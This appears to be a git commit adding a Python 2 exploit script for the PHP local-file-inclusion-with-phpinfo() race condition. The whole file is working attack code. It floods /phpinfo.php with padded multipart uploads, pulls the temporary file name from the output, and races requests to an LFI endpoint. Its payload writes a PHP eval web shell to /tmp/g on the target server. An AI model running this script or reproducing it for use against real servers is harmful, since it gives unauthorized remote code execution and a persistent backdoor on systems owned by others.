first commit

php/inclusion/exp.py

@@ -0,0 +1,190 @@
+#!/usr/bin/python 
+import sys
+import threading
+import socket
+
+def setup(host, port):
+    TAG="Security Test"
+    PAYLOAD="""%s\r
+<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
+    REQ1_DATA="""-----------------------------7dbff1ded0714\r
+Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
+Content-Type: text/plain\r
+\r
+%s
+-----------------------------7dbff1ded0714--\r""" % PAYLOAD
+    padding="A" * 5000
+    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
+Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
+HTTP_ACCEPT: """ + padding + """\r
+HTTP_USER_AGENT: """+padding+"""\r
+HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
+HTTP_PRAGMA: """+padding+"""\r
+Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
+Content-Length: %s\r
+Host: %s\r
+\r
+%s""" %(len(REQ1_DATA),host,REQ1_DATA)
+    #modify this to suit the LFI script   
+    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
+User-Agent: Mozilla/4.0\r
+Proxy-Connection: Keep-Alive\r
+Host: %s\r
+\r
+\r
+"""
+    return (REQ1, TAG, LFIREQ)
+
+def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
+
+    s.connect((host, port))
+    s2.connect((host, port))
+
+    s.send(phpinforeq)
+    d = ""
+    while len(d) < offset:
+        d += s.recv(offset)
+    try:
+        i = d.index("[tmp_name] =&gt; ")
+        fn = d[i+17:i+31]
+    except ValueError:
+        return None
+
+    s2.send(lfireq % (fn, host))
+    d = s2.recv(4096)
+    s.close()
+    s2.close()
+
+    if d.find(tag) != -1:
+        return fn
+
+counter=0
+class ThreadWorker(threading.Thread):
+    def __init__(self, e, l, m, *args):
+        threading.Thread.__init__(self)
+        self.event = e
+        self.lock =  l
+        self.maxattempts = m
+        self.args = args
+
+    def run(self):
+        global counter
+        while not self.event.is_set():
+            with self.lock:
+                if counter >= self.maxattempts:
+                    return
+                counter+=1
+
+            try:
+                x = phpInfoLFI(*self.args)
+                if self.event.is_set():
+                    break                
+                if x:
+                    print "\nGot it! Shell created in /tmp/g"
+                    self.event.set()
+                    
+            except socket.error:
+                return
+    
+
+def getOffset(host, port, phpinforeq):
+    """Gets offset of tmp_name in the php output"""
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((host,port))
+    s.send(phpinforeq)
+    
+    d = ""
+    while True:
+        i = s.recv(4096)
+        d+=i        
+        if i == "":
+            break
+        # detect the final chunk
+        if i.endswith("0\r\n\r\n"):
+            break
+    s.close()
+    i = d.find("[tmp_name] =&gt; ")
+    if i == -1:
+        raise ValueError("No php tmp_name in phpinfo output")
+    
+    print "found %s at %i" % (d[i:i+10],i)
+    # padded up a bit
+    return i+256
+
+def main():
+    
+    print "LFI With PHPInfo()"
+    print "-=" * 30
+
+    if len(sys.argv) < 2:
+        print "Usage: %s host [port] [threads]" % sys.argv[0]
+        sys.exit(1)
+
+    try:
+        host = socket.gethostbyname(sys.argv[1])
+    except socket.error, e:
+        print "Error with hostname %s: %s" % (sys.argv[1], e)
+        sys.exit(1)
+
+    port=80
+    try:
+        port = int(sys.argv[2])
+    except IndexError:
+        pass
+    except ValueError, e:
+        print "Error with port %d: %s" % (sys.argv[2], e)
+        sys.exit(1)
+    
+    poolsz=10
+    try:
+        poolsz = int(sys.argv[3])
+    except IndexError:
+        pass
+    except ValueError, e:
+        print "Error with poolsz %d: %s" % (sys.argv[3], e)
+        sys.exit(1)
+
+    print "Getting initial offset...",  
+    reqphp, tag, reqlfi = setup(host, port)
+    offset = getOffset(host, port, reqphp)
+    sys.stdout.flush()
+
+    maxattempts = 1000
+    e = threading.Event()
+    l = threading.Lock()
+
+    print "Spawning worker pool (%d)..." % poolsz
+    sys.stdout.flush()
+
+    tp = []
+    for i in range(0,poolsz):
+        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
+
+    for t in tp:
+        t.start()
+    try:
+        while not e.wait(1):
+            if e.is_set():
+                break
+            with l:
+                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
+                sys.stdout.flush()
+                if counter >= maxattempts:
+                    break
+        print
+        if e.is_set():
+            print "Woot!  \m/"
+        else:
+            print ":("
+    except KeyboardInterrupt:
+        print "\nTelling threads to shutdown..."
+        e.set()
+    
+    print "Shuttin' down..."
+    for t in tp:
+        t.join()
+
+if __name__=="__main__":
+    main()